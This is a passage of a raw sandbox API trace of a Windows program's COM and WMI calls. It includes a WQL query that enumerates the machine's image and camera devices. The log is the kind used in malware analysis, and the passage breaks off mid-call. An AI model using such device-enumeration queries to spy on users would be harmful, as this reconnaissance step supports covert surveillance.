(in: This=0x1d2fab00, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b0bbdb0 | out: ppvObject=0x1b0bbdb0*=0x0) returned 0x80004002 [0176.869] CoGetContextToken (in: pToken=0x1b0bbe60 | out: pToken=0x1b0bbe60) returned 0x0 [0176.869] CoGetObjectContext (in: riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b33eca8 | out: ppv=0x1b33eca8*=0x4b00f0) returned 0x0 [0176.869] CoGetContextToken (in: pToken=0x1b0bc2e0 | out: pToken=0x1b0bc2e0) returned 0x0 [0176.869] WbemLocator:IUnknown:QueryInterface (in: This=0x1d2fab00, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b0bc3a0 | out: ppvObject=0x1b0bc3a0*=0x0) returned 0x80004002 [0176.870] WbemLocator:IUnknown:Release (This=0x1d2fab00) returned 0x2 [0176.870] WbemLocator:IUnknown:Release (This=0x1d2fab00) returned 0x1 [0176.870] CoGetContextToken (in: pToken=0x1b0bcd20 | out: pToken=0x1b0bcd20) returned 0x0 [0176.954] CoGetContextToken (in: pToken=0x1b0bcc20 | out: pToken=0x1b0bcc20) returned 0x0 [0176.954] WbemLocator:IUnknown:QueryInterface (in: This=0x1d2fab00, riid=0x1b0bcd80*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1b0bcd50 | out: ppvObject=0x1b0bcd50*=0x1d2fab00) returned 0x0 [0176.954] WbemLocator:IUnknown:AddRef (This=0x1d2fab00) returned 0x3 [0176.954] WbemLocator:IUnknown:Release (This=0x1d2fab00) returned 0x2 [0176.954] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1d2f1310, puCount=0x1b0bd158 | out: puCount=0x1b0bd158*=0x2) returned 0x0 [0176.954] WbemDefPath:IWbemPath:GetText (in: This=0x1d2f1310, lFlags=8, puBuffLength=0x1b0bd150*=0x0, pszText=0x0 | out: puBuffLength=0x1b0bd150*=0xf, pszText=0x0) returned 0x0 [0176.954] WbemDefPath:IWbemPath:GetText (in: This=0x1d2f1310, lFlags=8, puBuffLength=0x1b0bd150*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b0bd150*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0176.955] CoCreateInstance (in: rclsid=0x7ffa716666a8*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7ffa71666708*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x1b0bcea0 | out: ppv=0x1b0bcea0*=0x1d2fa9c0) returned 0x0 [0176.955] WbemLocator:IWbemLocator:ConnectServer (in: This=0x1d2fa9c0, strNetworkResource="\\\\.\\root\\cimv2", strUser=0x0, strPassword=0x0, strLocale="", lSecurityFlags=128, strAuthority="", pCtx=0x0, ppNamespace=0x1b0bd018 | out: ppNamespace=0x1b0bd018*=0x1b340590) returned 0x0 [0178.843] WbemLocator:IUnknown:QueryInterface (in: This=0x1b340590, riid=0x7ffa71666528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b0bcd18 | out: ppvObject=0x1b0bcd18*=0x1b350b20) returned 0x0 [0178.843] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x1b350b20, pProxy=0x1b340590, pAuthnSvc=0x1b0bcde0, pAuthzSvc=0x1b0bcd60, pServerPrincName=0x1b0bcd88, pAuthnLevel=0x1b0bcd64, pImpLevel=0x1b0bcd70, pAuthInfo=0x1b0bcd98, pCapabilites=0x1b0bcd74 | out: pAuthnSvc=0x1b0bcde0*=0xa, pAuthzSvc=0x1b0bcd60*=0x0, pServerPrincName=0x1b0bcd88, pAuthnLevel=0x1b0bcd64*=0x6, pImpLevel=0x1b0bcd70*=0x2, pAuthInfo=0x1b0bcd98, pCapabilites=0x1b0bcd74*=0x1) returned 0x0 [0178.843] WbemLocator:IUnknown:Release (This=0x1b350b20) returned 0x1 [0178.843] WbemLocator:IUnknown:QueryInterface (in: This=0x1b340590, riid=0x7ffa71666518*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b0bccb0 | out: ppvObject=0x1b0bccb0*=0x1b350b68) returned 0x0 [0178.843] WbemLocator:IUnknown:QueryInterface (in: This=0x1b340590, riid=0x7ffa71666528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b0bccc0 | out: ppvObject=0x1b0bccc0*=0x1b350b20) returned 0x0 [0178.844] WbemLocator:IClientSecurity:SetBlanket (This=0x1b350b20, pProxy=0x1b340590, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0178.845] WbemLocator:IUnknown:Release (This=0x1b350b20) returned 0x2 [0178.845] WbemLocator:IUnknown:Release (This=0x1b350b68) returned 0x1 [0178.845] CoTaskMemFree (pv=0x1b33eca0) [0178.845] WbemLocator:IUnknown:Release (This=0x1d2fa9c0) returned 0x0 [0178.845] WbemLocator:IUnknown:QueryInterface (in: This=0x1b340590, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b0bc7b0 | out: ppvObject=0x1b0bc7b0*=0x1b350b68) returned 0x0 [0178.846] WbemLocator:IUnknown:QueryInterface (in: This=0x1b350b68, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b0bc840 | out: ppvObject=0x1b0bc840*=0x0) returned 0x80004002 [0179.168] WbemLocator:IUnknown:QueryInterface (in: This=0x1b350b68, riid=0x7ffa5f00bc10*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b0bc460 | out: ppvObject=0x1b0bc460*=0x0) returned 0x80004002 [0179.389] WbemLocator:IUnknown:QueryInterface (in: This=0x1b340590, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b0bc038 | out: ppvObject=0x1b0bc038*=0x0) returned 0x80004002 [0179.640] WbemLocator:IUnknown:AddRef (This=0x1b350b68) returned 0x3 [0179.640] WbemLocator:IUnknown:QueryInterface (in: This=0x1b350b68, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b0bbef8 | out: ppvObject=0x1b0bbef8*=0x0) returned 0x80004002 [0179.640] WbemLocator:IUnknown:QueryInterface (in: This=0x1b350b68, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b0bbe80 | out: ppvObject=0x1b0bbe80*=0x0) returned 0x80004002 [0179.640] WbemLocator:IUnknown:QueryInterface (in: This=0x1b350b68, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b0bbe70 | out: ppvObject=0x1b0bbe70*=0x1b350a48) returned 0x0 [0179.640] WbemLocator:IMarshal:GetUnmarshalClass (in: This=0x1b350a48, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b0bbe98 | out: pCid=0x1b0bbe98*(Data1=0x17, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0179.641] WbemLocator:IUnknown:Release (This=0x1b350a48) returned 0x3 [0179.641] CoGetContextToken (in: pToken=0x1b0bbf20 | out: pToken=0x1b0bbf20) returned 0x0 [0179.641] CoGetContextToken (in: pToken=0x1b0bc3a0 | out: pToken=0x1b0bc3a0) returned 0x0 [0179.641] WbemLocator:IUnknown:QueryInterface (in: This=0x1b350b68, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b0bc460 | out: ppvObject=0x1b0bc460*=0x1b350b30) returned 0x0 [0179.641] WbemLocator:IRpcOptions:Query (in: This=0x1b350b30, pPrx=0x1b350b68, dwProperty=2, pdwValue=0x1b0bc450 | out: pdwValue=0x1b0bc450) returned 0x80004002 [0179.641] WbemLocator:IUnknown:Release (This=0x1b350b30) returned 0x3 [0179.641] WbemLocator:IUnknown:Release (This=0x1b350b68) returned 0x2 [0179.641] CoGetContextToken (in: pToken=0x1b0bca60 | out: pToken=0x1b0bca60) returned 0x0 [0179.641] CoGetContextToken (in: pToken=0x1b0bc960 | out: pToken=0x1b0bc960) returned 0x0 [0179.641] WbemLocator:IUnknown:QueryInterface (in: This=0x1b350b68, riid=0x1b0bcac0*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x1b0bca90 | out: ppvObject=0x1b0bca90*=0x1b340590) returned 0x0 [0179.641] WbemLocator:IUnknown:AddRef (This=0x1b340590) returned 0x4 [0179.641] WbemLocator:IUnknown:Release (This=0x1b340590) returned 0x3 [0179.641] WbemLocator:IUnknown:Release (This=0x1b340590) returned 0x2 [0179.641] SysStringLen (param_1=0x0) returned 0x0 [0179.642] CoGetContextToken (in: pToken=0x1b0bcb90 | out: pToken=0x1b0bcb90) returned 0x0 [0179.642] WbemLocator:IUnknown:AddRef (This=0x1b350b68) returned 0x3 [0179.642] WbemLocator:IUnknown:QueryInterface (in: This=0x1b350b68, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b0bcb90 | out: ppvObject=0x1b0bcb90*=0x1b350b68) returned 0x0 [0179.642] WbemLocator:IUnknown:Release (This=0x1b350b68) returned 0x3 [0179.642] WbemLocator:IUnknown:Release (This=0x1b350b68) returned 0x2 [0179.642] CoGetContextToken (in: pToken=0x1b0bcc60 | out: pToken=0x1b0bcc60) returned 0x0 [0179.642] WbemLocator:IUnknown:AddRef (This=0x1b340590) returned 0x3 [0179.642] IWbemServices:ExecQuery (in: This=0x1b340590, strQueryLanguage="WQL", strQuery="SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')", lFlags=16, pCtx=0x0, ppEnum=0x1b0bd168 | out: ppEnum=0x1b0bd168*=0x1b3bd480) returned 0x0 [0179.868] IUnknown:QueryInterface (in: This=0x1b3bd480, riid=0x7ffa71666528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b0bcdd8 | out: ppvObject=0x1b0bcdd8*=0x1b3bd488) returned 0x0 [0179.868] IClientSecurity:QueryBlanket (in: This=0x1b3bd488, pProxy=0x1b3bd480, pAuthnSvc=0x1b0bcea0, pAuthzSvc=0x1b0bce20, pServerPrincName=0x1b0bce48, pAuthnLevel=0x1b0bce24, pImpLevel=0x1b0bce30, pAuthInfo=0x1b0bce58, pCapabilites=0x1b0bce34 | out: pAuthnSvc=0x1b0bcea0*=0xa, pAuthzSvc=0x1b0bce20*=0x0, pServerPrincName=0x1b0bce48, pAuthnLevel=0x1b0bce24*=0x6, pImpLevel=0x1b0bce30*=0x2, pAuthInfo=0x1b0bce58, pCapabilites=0x1b0bce34*=0x1) returned 0x0 [0179.869] IUnknown:Release (This=0x1b3bd488) returned 0x1 [0179.869] IUnknown:QueryInterface (in: This=0x1b3bd480, riid=0x7ffa71666518*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b0bcd70 | out: ppvObject=0x1b0bcd70*=0x1b3511e8) returned 0x0 [0179.869] IUnknown:QueryInterface (in: This=0x1b3bd480, riid=0x7ffa71666528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b0bcd80 | out: ppvObject=0x1b0bcd80*=0x1b3bd488) returned 0x0 [0179.869] IClientSecurity:SetBlanket (This=0x1b3bd488, pProxy=0x1b3bd480, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0180.578] IUnknown:Release (This=0x1b3bd488) returned 0x2 [0180.578] WbemLocator:IUnknown:Release (This=0x1b3511e8) returned 0x1 [0180.578] CoTaskMemFree (pv=0x1b33ff60) [0180.578] IUnknown:QueryInterface (in: This=0x1b3bd480, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b0bc840 | out: ppvObject=0x1b0bc840*=0x1b3511e8) returned 0x0 [0180.579] WbemLocator:IUnknown:QueryInterface (in: This=0x1b3511e8, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b0bc8d0 | out: ppvObject=0x1b0bc8d0*=0x0) returned 0x80004002 [0180.990] WbemLocator:IUnknown:QueryInterface (in: This=0x1b3511e8, riid=0x7ffa5f00bc10*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b0bc4f0 | out: ppvObject=0x1b0bc4f0*=0x0) returned 0x80004002 [0181.332] IUnknown:QueryInterface (in: This=0x1b3bd480, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b0bc0c8 | out: ppvObject=0x1b0bc0c8*=0x0) returned 0x80004002 [0182.092] WbemLocator:IUnknown:AddRef (This=0x1b3511e8) returned 0x3 [0182.092] WbemLocator:IUnknown:QueryInterface (in: This=0x1b3511e8, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b0bbf88 | out: ppvObject=0x1b0bbf88*=0x0) returned 0x80004002 [0182.092] WbemLocator:IUnknown:QueryInterface (in: This=0x1b3511e8, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b0bbf10 | out: ppvObject=0x1b0bbf10*=0x0) returned 0x80004002 [0182.092] WbemLocator:IUnknown:QueryInterface (in: This=0x1b3511e8, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b0bbf00 | out: ppvObject=0x1b0bbf00*=0x1b3510c8) returned 0x0 [0182.093] WbemLocator:IMarshal:GetUnmarshalClass (in: This=0x1b3510c8, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b0bbf28 | out: pCid=0x1b0bbf28*(Data1=0x17, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0182.093] WbemLocator:IUnknown:Release (This=0x1b3510c8) returned 0x3 [0182.093] CoGetContextToken (in: pToken=0x1b0bbfb0 | out: pToken=0x1b0bbfb0) returned 0x0 [0182.093] CoGetContextToken (in: pToken=0x1b0bc430 | out: pToken=0x1b0bc430) returned 0x0 [0182.093] WbemLocator:IUnknown:QueryInterface (in: This=0x1b3511e8, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b0bc4f0 | out: ppvObject=0x1b0bc4f0*=0x1b3511b0) returned 0x0 [0182.093] WbemLocator:IRpcOptions:Query (in: This=0x1b3511b0, pPrx=0x1b3511e8, dwProperty=2, pdwValue=0x1b0bc4e0 | out: pdwValue=0x1b0bc4e0) returned 0x80004002 [0182.093] WbemLocator:IUnknown:Release (This=0x1b3511b0) returned 0x3 [0182.093] WbemLocator:IUnknown:Release (This=0x1b3511e8) returned 0x2 [0182.093] CoGetContextToken (in: pToken=0x1b0bcaf0 | out: pToken=0x1b0bcaf0) returned 0x0 [0182.093] CoGetContextToken (in: pToken=0x1b0bc9f0 | out: pToken=0x1b0bc9f0) returned 0x0 [0182.093] WbemLocator:IUnknown:QueryInterface (in: This=0x1b3511e8, riid=0x1b0bcb50*(Data1=0x27947e1, Data2=0xd731, Data3=0x11ce, Data4=([0]=0xa3, [1]=0x57, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x1)), ppvObject=0x1b0bcb20 | out: ppvObject=0x1b0bcb20*=0x1b3bd480) returned 0x0 [0182.094] IUnknown:AddRef (This=0x1b3bd480) returned 0x4 [0182.094] IUnknown:Release (This=0x1b3bd480) returned 0x3 [0182.094] IUnknown:Release (This=0x1b3bd480) returned 0x2 [0182.094] WbemLocator:IUnknown:Release (This=0x1b340590) returned 0x2 [0182.094] SysStringLen (param_1=0x0) returned 0x0 [0182.094] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1d2f1310, puCount=0x1b0bd1a8 | out: puCount=0x1b0bd1a8*=0x2) returned 0x0 [0182.094] WbemDefPath:IWbemPath:GetText (in: This=0x1d2f1310, lFlags=4, puBuffLength=0x1b0bd1a0*=0x0, pszText=0x0 | out: puBuffLength=0x1b0bd1a0*=0xf, pszText=0x0) returned 0x0 [0182.094] WbemDefPath:IWbemPath:GetText (in: This=0x1d2f1310, lFlags=4, puBuffLength=0x1b0bd1a0*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b0bd1a0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0182.111] CoGetContextToken (in: pToken=0x1b0bcdf0 | out: pToken=0x1b0bcdf0) returned 0x0 [0182.111] IUnknown:AddRef (This=0x1b3bd480) returned 0x3 [0182.111] IEnumWbemClassObject:Clone (in: This=0x1b3bd480, ppEnum=0x1b0bd1f0 | out: ppEnum=0x1b0bd1f0*=0x1d35bd00) returned 0x0 [0182.701] IUnknown:QueryInterface (in: This=0x1d35bd00, riid=0x7ffa71666528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b0bcf78 | out: ppvObject=0x1b0bcf78*=0x1d35bd08) returned 0x0 [0182.701] IClientSecurity:QueryBlanket (in: This=0x1d35bd08, pProxy=0x1d35bd00, pAuthnSvc=0x1b0bd040, pAuthzSvc=0x1b0bcfc0, pServerPrincName=0x1b0bcfe8, pAuthnLevel=0x1b0bcfc4, pImpLevel=0x1b0bcfd0, pAuthInfo=0x1b0bcff8, pCapabilites=0x1b0bcfd4 | out: pAuthnSvc=0x1b0bd040*=0xa, pAuthzSvc=0x1b0bcfc0*=0x0, pServerPrincName=0x1b0bcfe8, pAuthnLevel=0x1b0bcfc4*=0x6, pImpLevel=0x1b0bcfd0*=0x2, pAuthInfo=0x1b0bcff8, pCapabilites=0x1b0bcfd4*=0x1) returned 0x0 [0182.701] IUnknown:Release (This=0x1d35bd08) returned 0x1 [0182.701] IUnknown:QueryInterface (in: This=0x1d35bd00, riid=0x7ffa71666518*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b0bcf10 | out: ppvObject=0x1b0bcf10*=0x1b3509c8) returned 0x0 [0182.701] IUnknown:QueryInterface (in: This=0x1d35bd00, riid=0x7ffa71666528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b0bcf20 | out: ppvObject=0x1b0bcf20*=0x1d35bd08) returned 0x0 [0182.701] IClientSecurity:SetBlanket (This=0x1d35bd08, pProxy=0x1d35bd00, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0183.424] IUnknown:Release (This=0x1d35bd08) returned 0x2 [0183.424] WbemLocator:IUnknown:Release (This=0x1b3509c8) returned 0x1 [0183.424] CoTaskMemFree (pv=0x1b33fc60) [0183.425] IUnknown:QueryInterface (in: This=0x1d35bd00, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b0bc9d0 | out: ppvObject=0x1b0bc9d0*=0x1b3509c8) returned 0x0 [0183.425] WbemLocator:IUnknown:QueryInterface (in: This=0x1b3509c8, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b0bca60 | out: ppvObject=0x1b0bca60*=0x0) returned 0x80004002 [0184.005] WbemLocator:IUnknown:QueryInterface (in: This=0x1b3509c8, riid=0x7ffa5f00bc10*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b0bc680 | out: ppvObject=0x1b0bc680*=0x0) returned 0x80004002 [0184.449] IUnknown:QueryInterface (in: This=0x1d35bd00, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b0bc258 | out: ppvObject=0x1b0bc258*=0x0) returned 0x80004002 [0184.905] WbemLocator:IUnknown:AddRef (This=0x1b3509c8) returned 0x3 [0184.905] WbemLocator:IUnknown:QueryInterface (in: This=0x1b3509c8, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b0bc118 | out: ppvObject=0x1b0bc118*=0x0) returned 0x80004002 [0184.905] WbemLocator:IUnknown:QueryInterface (in: This=0x1b3509c8, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b0bc0a0 | out: ppvObject=0x1b0bc0a0*=0x0) returned 0x80004002 [0184.905] WbemLocator:IUnknown:QueryInterface (in: This=0x1b3509c8, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b0bc090 | out: ppvObject=0x1b0bc090*=0x1b3508a8) returned 0x0 [0184.905] WbemLocator:IMarshal:GetUnmarshalClass (in: This=0x1b3508a8, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b0bc0b8 | out: pCid=0x1b0bc0b8*(Data1=0x17, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0184.905] WbemLocator:IUnknown:Release (This=0x1b3508a8) returned 0x3 [0184.905] CoGetContextToken (in: pToken=0x1b0bc140 | out: pToken=0x1b0bc140) returned 0x0 [0184.905] CoGetContextToken (in: pToken=0x1b0bc5c0 | out: pToken=0x1b0bc5c0) returned 0x0 [0184.905] WbemLocator:IUnknown:QueryInterface (in: This=0x1b3509c8, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b0bc680 | out: ppvObject=0x1b0bc680*=0x1b350990) returned 0x0 [0184.905] WbemLocator:IRpcOptions:Query (in: This=0x1b350990, pPrx=0x1b3509c8, dwProperty=2, pdwValue=0x1b0bc670 | out: pdwValue=0x1b0bc670) returned 0x80004002 [0184.905] WbemLocator:IUnknown:Release (This=0x1b350990) returned 0x3 [0184.905] WbemLocator:IUnknown:Release (This=0x1b3509c8) returned 0x2 [0184.905] CoGetContextToken (in: pToken=0x1b0bcc80 | out: pToken=0x1b0bcc80) returned 0x0 [0184.905] CoGetContextToken (in: pToken=0x1b0bcb80 | out: pToken=0x1b0bcb80) returned 0x0 [0184.905] WbemLocator:IUnknown:QueryInterface (in: This=0x1b3509c8, riid=0x1b0bcce0*(Data1=0x27947e1, Data2=0xd731, Data3=0x11ce, Data4=([0]=0xa3, [1]=0x57, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, 